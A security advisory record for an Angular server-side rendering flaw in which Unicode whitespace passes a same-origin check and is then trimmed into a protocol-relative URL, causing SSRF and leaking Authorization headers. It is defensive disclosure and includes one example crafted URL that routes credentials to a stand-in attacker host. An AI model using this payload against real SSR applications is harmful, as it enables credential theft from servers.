CVE-2026-88056
### Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials. ### Technical Description When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks. However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request. ### Impact & Reachability * **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. * **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to th
Properties
- ghsa_id
- GHSA-f6mr-pjwc-34m4
- summary
- Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR
- severity
- high
- cve_id
- CVE-2026-88056
- is_ghsa_only
- false
- ghsa_published
- 2026-09-10T20:19:43Z
- source_url
- https://github.com/advisories/GHSA-f6mr-pjwc-34m4
- ghsa_updated
- 2026-09-10T20:19:44Z
Related Entities (4)
REPORTED_BY (1)
VULNERABLE_TO (1)
AFFECTS (1)
HAS_WEAKNESS (1)
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